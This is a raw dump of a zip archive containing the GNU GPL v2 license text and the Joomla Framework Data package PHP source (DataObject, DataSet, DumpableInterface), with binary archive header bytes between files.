PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is
found.
<one line to give the program's name and a brief idea of what it
does.>
Copyright (C) <year> <name of author>
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
Also add information on how to contact you by electronic and paper mail.
If the program is interactive, make it output a short notice like this
when it starts in an interactive mode:
Gnomovision version 69, Copyright (C) year name of author
Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show
w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the
appropriate
parts of the General Public License. Of course, the commands you use may
be called something other than `show w' and `show c'; they could
even be
mouse-clicks or menu items--whatever suits your program.
You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program,
if
necessary. Here is a sample; alter the names:
Yoyodyne, Inc., hereby disclaims all copyright interest in the program
`Gnomovision' (which makes passes at compilers) written by James
Hacker.
<signature of Ty Coon>, 1 April 1989
Ty Coon, President of Vice
This General Public License does not permit incorporating your program into
proprietary programs. If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the
library. If this is what you want to do, use the GNU Library General
Public License instead of this License.
PK���[��`g"g"data/src/DataObject.phpnu�[���<?php
/**
* Part of the Joomla Framework Data Package
*
* @copyright Copyright (C) 2005 - 2016 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Data;
use Joomla\Registry\Registry;
/**
* DataObject is a class that is used to store data but allowing you to
access the data
* by mimicking the way PHP handles class properties.
*
* @since 1.0
*/
class DataObject implements DumpableInterface, \IteratorAggregate,
\JsonSerializable, \Countable
{
/**
* The data object properties.
*
* @var array
* @since 1.0
*/
private $properties = array();
/**
* The class constructor.
*
* @param mixed $properties Either an associative array or another
object
* by which to set the initial properties of
the new object.
*
* @since 1.0
* @throws \InvalidArgumentException
*/
public function __construct($properties = array())
{
// Check the properties input.
if (!empty($properties))
{
// Bind the properties.
$this->bind($properties);
}
}
/**
* The magic get method is used to get a data property.
*
* This method is a public proxy for the protected getProperty method.
*
* Note: Magic __get does not allow recursive calls. This can be tricky
because the error generated by recursing into
* __get is "Undefined property: {CLASS}::{PROPERTY}" which is
misleading. This is relevant for this class because
* requesting a non-visible property can trigger a call to a sub-function.
If that references the property directly in
* the object, it will cause a recursion into __get.
*
* @param string $property The name of the data property.
*
* @return mixed The value of the data property, or null if the data
property does not exist.
*
* @see DataObject::getProperty()
* @since 1.0
*/
public function __get($property)
{
return $this->getProperty($property);
}
/**
* The magic isset method is used to check the state of an object
property.
*
* @param string $property The name of the data property.
*
* @return boolean True if set, otherwise false is returned.
*
* @since 1.0
*/
public function __isset($property)
{
return isset($this->properties[$property]);
}
/**
* The magic set method is used to set a data property.
*
* This is a public proxy for the protected setProperty method.
*
* @param string $property The name of the data property.
* @param mixed $value The value to give the data property.
*
* @return void
*
* @see DataObject::setProperty()
* @since 1.0
*/
public function __set($property, $value)
{
$this->setProperty($property, $value);
}
/**
* The magic unset method is used to unset a data property.
*
* @param string $property The name of the data property.
*
* @return void
*
* @since 1.0
*/
public function __unset($property)
{
unset($this->properties[$property]);
}
/**
* Binds an array or object to this object.
*
* @param mixed $properties An associative array of properties or
an object.
* @param boolean $updateNulls True to bind null values, false to
ignore null values.
*
* @return DataObject Returns itself to allow chaining.
*
* @since 1.0
* @throws \InvalidArgumentException
*/
public function bind($properties, $updateNulls = true)
{
// Check the properties data type.
if (!is_array($properties) && !is_object($properties))
{
throw new \InvalidArgumentException(sprintf('%s(%s)',
__METHOD__, gettype($properties)));
}
// Check if the object is traversable.
if ($properties instanceof \Traversable)
{
// Convert iterator to array.
$properties = iterator_to_array($properties);
}
elseif (is_object($properties))
// Check if the object needs to be converted to an array.
{
// Convert properties to an array.
$properties = (array) $properties;
}
// Bind the properties.
foreach ($properties as $property => $value)
{
// Check if the value is null and should be bound.
if ($value === null && !$updateNulls)
{
continue;
}
// Set the property.
$this->setProperty($property, $value);
}
return $this;
}
/**
* Dumps the data properties into a stdClass object, recursively if
appropriate.
*
* @param integer $depth The maximum depth of recursion
(default = 3).
* For example, a depth of 0 will
return a stdClass with all the properties in native
* form. A depth of 1 will recurse
into the first level of properties only.
* @param \SplObjectStorage $dumped An array of already serialized
objects that is used to avoid infinite loops.
*
* @return \stdClass The data properties as a simple PHP stdClass
object.
*
* @since 1.0
*/
public function dump($depth = 3, \SplObjectStorage $dumped = null)
{
// Check if we should initialise the recursion tracker.
if ($dumped === null)
{
$dumped = new \SplObjectStorage;
}
// Add this object to the dumped stack.
$dumped->attach($this);
// Setup a container.
$dump = new \stdClass;
// Dump all object properties.
foreach (array_keys($this->properties) as $property)
{
// Get the property.
$dump->$property = $this->dumpProperty($property, $depth,
$dumped);
}
return $dump;
}
/**
* Gets this object represented as an ArrayIterator.
*
* This allows the data properties to be access via a foreach statement.
*
* @return \ArrayIterator This object represented as an ArrayIterator.
*
* @see IteratorAggregate::getIterator()
* @since 1.0
*/
public function getIterator()
{
return new \ArrayIterator($this->dump(0));
}
/**
* Gets the data properties in a form that can be serialised to JSON
format.
*
* @return string An object that can be serialised by json_encode().
*
* @since 1.0
*/
public function jsonSerialize()
{
return $this->dump();
}
/**
* Dumps a data property.
*
* If recursion is set, this method will dump any object implementing
Data\Dumpable (like Data\Object and Data\Set); it will
* convert a Date object to a string; and it will convert a Registry to an
object.
*
* @param string $property The name of the data property.
* @param integer $depth The current depth of recursion
(a value of 0 will ignore recursion).
* @param \SplObjectStorage $dumped An array of already serialized
objects that is used to avoid infinite loops.
*
* @return mixed The value of the dumped property.
*
* @since 1.0
*/
protected function dumpProperty($property, $depth, \SplObjectStorage
$dumped)
{
$value = $this->getProperty($property);
if ($depth > 0)
{
// Check if the object is also an dumpable object.
if ($value instanceof DumpableInterface)
{
// Do not dump the property if it has already been dumped.
if (!$dumped->contains($value))
{
$value = $value->dump($depth - 1, $dumped);
}
}
// Check if the object is a date.
if ($value instanceof \DateTime)
{
$value = $value->format('Y-m-d H:i:s');
}
elseif ($value instanceof Registry)
// Check if the object is a registry.
{
$value = $value->toObject();
}
}
return $value;
}
/**
* Gets a data property.
*
* @param string $property The name of the data property.
*
* @return mixed The value of the data property.
*
* @see DataObject::__get()
* @since 1.0
*/
protected function getProperty($property)
{
// Get the raw value.
$value = array_key_exists($property, $this->properties) ?
$this->properties[$property] : null;
return $value;
}
/**
* Sets a data property.
*
* If the name of the property starts with a null byte, this method will
return null.
*
* @param string $property The name of the data property.
* @param mixed $value The value to give the data property.
*
* @return mixed The value of the data property.
*
* @see DataObject::__set()
* @since 1.0
*/
protected function setProperty($property, $value)
{
/*
* Check if the property starts with a null byte. If so, discard it
because a later attempt to try to access it
* can cause a fatal error. See
http://us3.php.net/manual/en/language.types.array.php#language.types.array.casting
*/
if (strpos($property, "\0") === 0)
{
return null;
}
// Set the value.
$this->properties[$property] = $value;
return $value;
}
/**
* Count the number of data properties.
*
* @return integer The number of data properties.
*
* @since 1.0
*/
public function count()
{
return count($this->properties);
}
}
PK���[*��9�9data/src/DataSet.phpnu�[���<?php
/**
* Part of the Joomla Framework Data Package
*
* @copyright Copyright (C) 2005 - 2016 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Data;
/**
* DataSet is a collection class that allows the developer to operate on a
set of DataObject objects as if they were in a
* typical PHP array.
*
* @since 1.0
*/
class DataSet implements DumpableInterface, \ArrayAccess, \Countable,
\Iterator
{
/**
* The current position of the iterator.
*
* @var integer
* @since 1.0
*/
private $current = false;
/**
* The iterator objects.
*
* @var DataObject[]
* @since 1.0
*/
private $objects = array();
/**
* The class constructor.
*
* @param DataObject[] $objects An array of DataObject objects to bind
to the data set.
*
* @since 1.0
* @throws \InvalidArgumentException if an object is not an instance of
Data\Object.
*/
public function __construct(array $objects = array())
{
// Set the objects.
$this->_initialise($objects);
}
/**
* The magic call method is used to call object methods using the
iterator.
*
* Example: $array = $objectList->foo('bar');
*
* The object list will iterate over its objects and see if each object
has a callable 'foo' method.
* If so, it will pass the argument list and assemble any return values.
If an object does not have
* a callable method no return value is recorded.
* The keys of the objects and the result array are maintained.
*
* @param string $method The name of the method called.
* @param array $arguments The arguments of the method called.
*
* @return array An array of values returned by the methods called on
the objects in the data set.
*
* @since 1.0
*/
public function __call($method, $arguments = array())
{
$return = array();
// Iterate through the objects.
foreach ($this->objects as $key => $object)
{
// Create the object callback.
$callback = array($object, $method);
// Check if the callback is callable.
if (is_callable($callback))
{
// Call the method for the object.
$return[$key] = call_user_func_array($callback, $arguments);
}
}
return $return;
}
/**
* The magic get method is used to get a list of properties from the
objects in the data set.
*
* Example: $array = $dataSet->foo;
*
* This will return a column of the values of the 'foo' property
in all the objects
* (or values determined by custom property setters in the individual
Data\Object's).
* The result array will contain an entry for each object in the list
(compared to __call which may not).
* The keys of the objects and the result array are maintained.
*
* @param string $property The name of the data property.
*
* @return array An associative array of the values.
*
* @since 1.0
*/
public function __get($property)
{
$return = array();
// Iterate through the objects.
foreach ($this->objects as $key => $object)
{
// Get the property.
$return[$key] = $object->$property;
}
return $return;
}
/**
* The magic isset method is used to check the state of an object property
using the iterator.
*
* Example: $array = isset($objectList->foo);
*
* @param string $property The name of the property.
*
* @return boolean True if the property is set in any of the objects in
the data set.
*
* @since 1.0
*/
public function __isset($property)
{
$return = array();
// Iterate through the objects.
foreach ($this->objects as $object)
{
// Check the property.
$return[] = isset($object->$property);
}
return in_array(true, $return, true) ? true : false;
}
/**
* The magic set method is used to set an object property using the
iterator.
*
* Example: $objectList->foo = 'bar';
*
* This will set the 'foo' property to 'bar' in all of
the objects
* (or a value determined by custom property setters in the Data\Object).
*
* @param string $property The name of the property.
* @param mixed $value The value to give the data property.
*
* @return void
*
* @since 1.0
*/
public function __set($property, $value)
{
// Iterate through the objects.
foreach ($this->objects as $object)
{
// Set the property.
$object->$property = $value;
}
}
/**
* The magic unset method is used to unset an object property using the
iterator.
*
* Example: unset($objectList->foo);
*
* This will unset all of the 'foo' properties in the list of
Data\Object's.
*
* @param string $property The name of the property.
*
* @return void
*
* @since 1.0
*/
public function __unset($property)
{
// Iterate through the objects.
foreach ($this->objects as $object)
{
unset($object->$property);
}
}
/**
* Gets an array of keys, existing in objects
*
* @param string $type Selection type 'all' or
'common'
*
* @return array Array of keys
*
* @since 1.2.0
* @throws \InvalidArgumentException
*/
public function getObjectsKeys($type = 'all')
{
$keys = null;
if ($type == 'all')
{
$function = 'array_merge';
}
elseif ($type == 'common')
{
$function = 'array_intersect_key';
}
else
{
throw new \InvalidArgumentException("Unknown selection type:
$type");
}
foreach ($this->objects as $object)
{
if (version_compare(PHP_VERSION, '5.4.0', '<'))
{
$object_vars = json_decode(json_encode($object->jsonSerialize()),
true);
}
else
{
$object_vars = json_decode(json_encode($object), true);
}
$keys = (is_null($keys)) ? $object_vars : $function($keys,
$object_vars);
}
return array_keys($keys);
}
/**
* Gets all objects as an array
*
* @param boolean $associative Option to set return mode: associative
or numeric array.
* @param string $k Unlimited optional property names to
extract from objects.
*
* @return array Returns an array according to defined options.
*
* @since 1.2.0
*/
public function toArray($associative = true, $k = null)
{
$keys = func_get_args();
$associative = array_shift($keys);
if (empty($keys))
{
$keys = $this->getObjectsKeys();
}
$return = array();
$i = 0;
foreach ($this->objects as $key => $object)
{
$array_item = array();
$key = ($associative) ? $key : $i++;
$j = 0;
foreach ($keys as $property)
{
$property_key = ($associative) ? $property : $j++;
$array_item[$property_key] = (isset($object->$property)) ?
$object->$property : null;
}
$return[$key] = $array_item;
}
return $return;
}
/**
* Gets the number of data objects in the set.
*
* @return integer The number of objects.
*
* @since 1.0
*/
public function count()
{
return count($this->objects);
}
/**
* Clears the objects in the data set.
*
* @return DataSet Returns itself to allow chaining.
*
* @since 1.0
*/
public function clear()
{
$this->objects = array();
$this->rewind();
return $this;
}
/**
* Get the current data object in the set.
*
* @return DataObject The current object, or false if the array is empty
or the pointer is beyond the end of the elements.
*
* @since 1.0
*/
public function current()
{
return is_scalar($this->current) ?
$this->objects[$this->current] : false;
}
/**
* Dumps the data object in the set, recursively if appropriate.
*
* @param integer $depth The maximum depth of recursion
(default = 3).
* For example, a depth of 0 will
return a stdClass with all the properties in native
* form. A depth of 1 will recurse
into the first level of properties only.
* @param \SplObjectStorage $dumped An array of already serialized
objects that is used to avoid infinite loops.
*
* @return array An associative array of the data objects in the set,
dumped as a simple PHP stdClass object.
*
* @see DataObject::dump()
* @since 1.0
*/
public function dump($depth = 3, \SplObjectStorage $dumped = null)
{
// Check if we should initialise the recursion tracker.
if ($dumped === null)
{
$dumped = new \SplObjectStorage;
}
// Add this object to the dumped stack.
$dumped->attach($this);
$objects = array();
// Make sure that we have not reached our maximum depth.
if ($depth > 0)
{
// Handle JSON serialization recursively.
foreach ($this->objects as $key => $object)
{
$objects[$key] = $object->dump($depth, $dumped);
}
}
return $objects;
}
/**
* Gets the data set in a form that can be serialised to JSON format.
*
* Note that this method will not return an associative array, otherwise
it would be encoded into an object.
* JSON decoders do not consistently maintain the order of associative
keys, whereas they do maintain the order of arrays.
*
* @param mixed $serialized An array of objects that have already been
serialized that is used to infinite loops
* (null on first call).
*
* @return array An array that can be serialised by json_encode().
*
* @since 1.0
*/
public function jsonSerialize($serialized = null)
{
// Check if we should initialise the recursion tracker.
if ($serialized === null)
{
$serialized = array();
}
// Add this object to the serialized stack.
$serialized[] = spl_object_hash($this);
$return = array();
// Iterate through the objects.
foreach ($this->objects as $object)
{
// Call the method for the object.
$return[] = $object->jsonSerialize($serialized);
}
return $return;
}
/**
* Gets the key of the current object in the iterator.
*
* @return scalar The object key on success; null on failure.
*
* @since 1.0
*/
public function key()
{
return $this->current;
}
/**
* Gets the array of keys for all the objects in the iterator (emulates
array_keys).
*
* @return array The array of keys
*
* @since 1.0
*/
public function keys()
{
return array_keys($this->objects);
}
/**
* Applies a function to every object in the set (emulates array_walk).
*
* @param callable $funcname Callback function.
*
* @return boolean
*
* @since 1.2.0
* @throws \InvalidArgumentException
*/
public function walk($funcname)
{
if (!is_callable($funcname))
{
$message = __METHOD__ . '() expects parameter 1 to be a valid
callback';
if (is_string($funcname))
{
$message .= sprintf(', function \'%s\' not found or
invalid function name', $funcname);
}
throw new \InvalidArgumentException($message);
}
foreach ($this->objects as $key => $object)
{
$funcname($object, $key);
}
return true;
}
/**
* Advances the iterator to the next object in the iterator.
*
* @return void
*
* @since 1.0
*/
public function next()
{
// Get the object offsets.
$keys = $this->keys();
// Check if _current has been set to false but offsetUnset.
if ($this->current === false && isset($keys[0]))
{
// This is a special case where offsetUnset was used in a foreach loop
and the first element was unset.
$this->current = $keys[0];
}
else
{
// Get the current key.
$position = array_search($this->current, $keys);
// Check if there is an object after the current object.
if ($position !== false && isset($keys[$position + 1]))
{
// Get the next id.
$this->current = $keys[$position + 1];
}
else
{
// That was the last object or the internal properties have become
corrupted.
$this->current = null;
}
}
}
/**
* Checks whether an offset exists in the iterator.
*
* @param mixed $offset The object offset.
*
* @return boolean True if the object exists, false otherwise.
*
* @since 1.0
*/
public function offsetExists($offset)
{
return isset($this->objects[$offset]);
}
/**
* Gets an offset in the iterator.
*
* @param mixed $offset The object offset.
*
* @return DataObject The object if it exists, null otherwise.
*
* @since 1.0
*/
public function offsetGet($offset)
{
return isset($this->objects[$offset]) ? $this->objects[$offset] :
null;
}
/**
* Sets an offset in the iterator.
*
* @param mixed $offset The object offset.
* @param DataObject $object The object object.
*
* @return void
*
* @since 1.0
* @throws \InvalidArgumentException if an object is not an instance of
Data\Object.
*/
public function offsetSet($offset, $object)
{
if (!($object instanceof DataObject))
{
throw new \InvalidArgumentException(sprintf('%s("%s",
*%s*)', __METHOD__, $offset, gettype($object)));
}
// Set the offset.
$this->objects[$offset] = $object;
}
/**
* Unsets an offset in the iterator.
*
* @param mixed $offset The object offset.
*
* @return void
*
* @since 1.0
*/
public function offsetUnset($offset)
{
if (!$this->offsetExists($offset))
{
// Do nothing if the offset does not exist.
return;
}
// Check for special handling of unsetting the current position.
if ($offset == $this->current)
{
// Get the current position.
$keys = $this->keys();
$position = array_search($this->current, $keys);
// Check if there is an object before the current object.
if ($position > 0)
{
// Move the current position back one.
$this->current = $keys[$position - 1];
}
else
{
// We are at the start of the keys AND let's assume we are in a
foreach loop and `next` is going to be called.
$this->current = false;
}
}
unset($this->objects[$offset]);
}
/**
* Rewinds the iterator to the first object.
*
* @return void
*
* @since 1.0
*/
public function rewind()
{
// Set the current position to the first object.
if (empty($this->objects))
{
$this->current = false;
}
else
{
$keys = $this->keys();
$this->current = array_shift($keys);
}
}
/**
* Validates the iterator.
*
* @return boolean True if valid, false otherwise.
*
* @since 1.0
*/
public function valid()
{
// Check the current position.
if (!is_scalar($this->current) ||
!isset($this->objects[$this->current]))
{
return false;
}
return true;
}
/**
* Initialises the list with an array of objects.
*
* @param array $input An array of objects.
*
* @return void
*
* @since 1.0
* @throws \InvalidArgumentException if an object is not an instance of
Data\DataObject.
*/
private function _initialise(array $input = array())
{
foreach ($input as $key => $object)
{
if (!is_null($object))
{
$this->offsetSet($key, $object);
}
}
$this->rewind();
}
}
PK���[
���!!data/src/DumpableInterface.phpnu�[���<?php
/**
* Part of the Joomla Framework Data Package
*
* @copyright Copyright (C) 2005 - 2016 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Data;
/**
* An interface to define if an object is dumpable.
*
* @since 1.0
*/
interface DumpableInterface
{
/**
* Dumps the object properties into a stdClass object, recursively if
appropriate.
*
* @param integer $depth The maximum depth of recursion.
* For example, a depth of 0 will
return a stdClass with all the properties in native
* form. A depth of 1 will recurse
into the first level of properties only.
* @param \SplObjectStorage $dumped An array of already serialized
objects that is used to avoid infinite loops.
*
* @return \stdClass The data properties as a simple PHP stdClass
object.
*
* @since 1.0
*/
public function dump($depth = 3, \SplObjectStorage $dumped = null);
}
PK���[�P�E�E
di/LICENSEnu�[���GNU GENERAL PUBLIC LICENSE
Version 2, June 1991
Copyright (C) 1989, 1991 Free Software Foundation, Inc.
59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The licenses for most software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users. This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it. (Some other Free Software Foundation software is covered by
the GNU Library General Public License instead.) You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.
To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have. You must make sure that they, too, receive or can get the
source code. And you must show them these terms so they know their
rights.
We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.
Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software. If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.
Finally, any free program is threatened constantly by software
patents. We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary. To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at
all.
The precise terms and conditions for copying, distribution and
modification follow.
GNU GENERAL PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License. The "Program",
below,
refers to any such program or work, and a "work based on the
Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language. (Hereinafter, translation is included without limitation in
the term "modification".) Each licensee is addressed as
"you".
Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope. The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.
1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.
You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.
2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:
a) You must cause the modified files to carry prominent notices
stating that you changed the files and the date of any change.
b) You must cause any work that you distribute or publish, that in
whole or in part contains or is derived from the Program or any
part thereof, to be licensed as a whole at no charge to all third
parties under the terms of this License.
c) If the modified program normally reads commands interactively
when run, you must cause it, when started running for such
interactive use in the most ordinary way, to print or display an
announcement including an appropriate copyright notice and a
notice that there is no warranty (or else, saying that you provide
a warranty) and that users may redistribute the program under
these conditions, and telling the user how to view a copy of this
License. (Exception: if the Program itself is interactive but
does not normally print such an announcement, your work based on
the Program is not required to print an announcement.)
These requirements apply to the modified work as a whole. If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works. But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.
Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.
In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.
3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:
a) Accompany it with the complete corresponding machine-readable
source code, which must be distributed under the terms of Sections
1 and 2 above on a medium customarily used for software interchange; or,
b) Accompany it with a written offer, valid for at least three
years, to give any third party, for a charge no more than your
cost of physically performing source distribution, a complete
machine-readable copy of the corresponding source code, to be
distributed under the terms of Sections 1 and 2 above on a medium
customarily used for software interchange; or,
c) Accompany it with the information you received as to the offer
to distribute corresponding source code. (This alternative is
allowed only for noncommercial distribution and only if you
received the program in object code or executable form with such
an offer, in accord with Subsection b above.)
The source code for a work means the preferred form of the work for
making modifications to it. For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable. However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.
If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.
4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License. Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.
5. You are not required to accept this License, since you have not
signed it. However, nothing else grants you permission to modify or
distribute the Program or its derivative works. These actions are
prohibited by law if you do not accept this License. Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.
6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions. You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.
7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all. For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.
If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.
It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices. Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.
This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.
8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded. In such case, this License incorporates
the limitation as if written in the body of this License.
9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the Program
specifies a version number of this License which applies to it and
"any
later version", you have the option of following the terms and
conditions
either of that version or of any later version published by the Free
Software Foundation. If the Program does not specify a version number of
this License, you may choose any version ever published by the Free
Software
Foundation.
10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission. For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this. Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.
NO WARRANTY
11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER
EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.
12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is
found.
<one line to give the program's name and a brief idea of what it
does.>
Copyright (C) <year> <name of author>
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
Also add information on how to contact you by electronic and paper mail.
If the program is interactive, make it output a short notice like this
when it starts in an interactive mode:
Gnomovision version 69, Copyright (C) year name of author
Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show
w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the
appropriate
parts of the General Public License. Of course, the commands you use may
be called something other than `show w' and `show c'; they could
even be
mouse-clicks or menu items--whatever suits your program.
You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program,
if
